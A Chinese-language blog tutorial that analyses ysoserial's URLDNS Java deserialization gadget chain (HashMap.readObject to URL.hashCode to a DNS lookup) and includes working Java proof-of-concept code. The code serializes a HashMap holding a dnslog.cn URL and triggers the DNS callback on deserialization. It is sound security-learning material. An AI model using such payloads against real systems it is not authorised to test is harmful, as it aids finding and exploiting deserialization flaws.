URLDNS

关于URLDNS

我们在之前已经学习过Java的反序列化了,接下来我们继续通过反序列化延伸到URLDNS,这也是为我们之后分析利用链做准备。

URLDNS就是ysoserial中⼀个利用链gadget chains的名字,是JAVA复杂的反序列化链中最简单的一条,使⽤Java内置的类构造,不需要依赖第三方的包,不限制jdk的版本,在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。

URLDNS原理

一般我们寻找Gadget时都会分析是否满足以下的条件来判断

  • 共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
  • 入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
  • 调用链gadget chain:相同方法名、相同类型
  • 执行类sink:RCE SSRF 写文件等等

根据以上条件,我们可以找到JAVA中的HashMapjava.util.HashMap 实现了Serializable 接口,重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode。而 java.net.URLhashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求。

我们从 ysoserial 项目src/main/java/ysoserial/payloads/URLDNS.java 的注释中可以看到 URLDNS的调用链(Gadget Chain):

Gadget Chain: 
        HashMap.readObject() 
                HashMap.putVal() 
                        HashMap.hash() 
                             URL.hashCode()

首先我们来看一下HashMap自己实现的readObject函数

1667012899841

HashMap的putVal方法:
    插入一个新的键值对,如果该键存在,则用新值覆盖旧值,方法返回值为旧值,如果该键不存在,方法返回值为null。

经过我们的分析可以知道,mapping的值为传入对象的个数,在最后的for循环中是用readObject反序列化读取对象,然后调用putVal函数和hash函数,也就是我们刚才提到利用链中的其中两个方法,我们先看这个hashcode方法

1667036686548

这里代码我简单分析了一下,通过三元运算判断key如果不等于null就取到key的hashCode并与该值右移16位的值进行异或。

我们这里只需要知道其有调用了hashCode方法,至于调用哪个hashCode需要知道key是谁的对象,我们查看src/main/java/ysoserial/payloads/URLDNS中的代码可知,

HashMap对象ht调用了put,方法

1667038227784

而put方法,最终还是调用的putVal方法

1667038354496

由图中代码可知,这个key是一个URL对象,所以我们需要跟进URL下的hashCode方法

hashCode方法

到hashCode方法之后,我们首先自己测试一下hashCode方法

import java.net.URL;

public class urlDnsDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://wqvnuf.dnslog.cn");
        url.hashCode();
    }
}

1667038807846

由此可知hashCode触发了一次DNS请求,我们进入URL的hashCode方法查看具体实现

1667038968205

其中两个变量的声明如下

1667039067211

我们可以看到handler被transient修饰了,我们之前在反序列化里讲过,被transient的对象不会参与反序列化。然后我们可以看到hashCode的默认值是-1,这种情况就不会执行if判断中的代码,而是接着下面的代码执行,这里进行了又执行了handlerhashCode方法,我们根据handler变量的声明可以知道,该值得类型是URLStreamHandler,我们就进入该类的hashCode方法进行分析

1667142911778

在这个方法里我们主要需要注意的是getHostAddress方法,这个方法用来得到主机的IP地址,我们跟进去进行分析

1667143809450

进入之后,我们就发现这里使用getHost()获取了主机名,然后使用getByName获取主机地址,就在这里发起了一次请求。

到这里我们完整的链已经出来了

Gadget Chain: 
    HashMap.readObject() 
        HashMap.putVal() 
            HashMap.hash() 
                URL.hashCode()
                    URLStreamHandler.hashCode()
                        URLStreamHandler.getHostAddress()

这里在hashMap使用put方法时也会发起一次请求,是因为put方法里面也是执行的putVal,里面也用到了hash这个函数,这个之前我们也看到过了

1667144558096

反序列化逻辑梳理

在我们简单粗暴的一通分析之后,我们就要梳理一下具体的利用逻辑。

首先,经过分析我们知道在hashMap对象被反序列化的使用,会调用HashMap.readObject() 进行反序列化操作,而这个方法被hashMap重写了,导致hashMap对象里包含URL对象的时候,就会触发URL的hashCode方法,最终导致发起DNS请求。

基本逻辑时清楚了,如果我们向存在漏洞程序发送一个带有包含URL对象的HashMap对象的时候,如果对我们的数据进行了反序列化的操作,就会触发DNS请求,就说明存在反序列化漏洞。

ysoserial其他代码分析

在我们分析ysoserial里的URLDNS的代码时,发现其使用反射设置了URL对象中的值,将URL对象中的hashCode设置为了-1。(这里面的Reflections类是 ysoserial 写的一个反射类src/main/java/ysoserial/payloads/util/Reflections.java)

1667145993779

这是因为,在ht.put的阶段,u.hashCode已经发生了改变不再是-1了,这会导致下一次执行的时候利用链在做hashCode是否为-1的判断时,就直接返回hashCode的值,利用链就中断了,所以我们为了下次可以正常发送DNS请求,就需要将其值恢复为-1

1667038968205

ht.put这段代码中,会发送一次DNS请求,但这是payload生成阶段,是没有必要的,还可能造成误判,所以ysoserial重写了getHostAddress的代码,这样payload生成阶段就不会再发送dns请求了

1667148240234

POC测试

基本逻辑理清楚之后,我们就编写Demo进行测试

我们首先测试payload生成阶段的代码,使其不会触发DNS请求

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class urlDnsDemo {
    static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    public static void main(String[] args) throws Exception {
        //使用我们继承的类创建对象,让其调用我们重写的方法
        URLStreamHandler handler = new urlDnsDemo.SilentURLStreamHandler();
        URL url = new URL(null, "http://cbccqi.dnslog.cn", handler);
        //将url对象放入HashMap对象
        HashMap h = new HashMap();
        h.put(url,"1");
        //经理过h.put后这里hashCode已经不是-1了,我们使用反射将其改回-1
        Field f = url.getClass().getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,-1);
        // 序列化HashMap对象
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/urlDnsTest/out.bin"));
        oos.writeObject(h);
    }
}

1667183525004

我们可以看到,程序执行完毕之后并没有触发DNS请求

1667183565342

接下来,我们手动将反序列化的内容进行序列化,看能否触发DNS请求

public class urlDnsDemo {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("src/com/alexsel/urlDnsTest/out.bin"));
        ois.readObject();
    }
}

成功触发DNS请求

1667183801298

参考文章

https://www.gettoby.com/p/sqz61ftc2wg6

最后修改:2022 年 11 月 11 日
如果觉得我的文章对你有用,请随意赞赏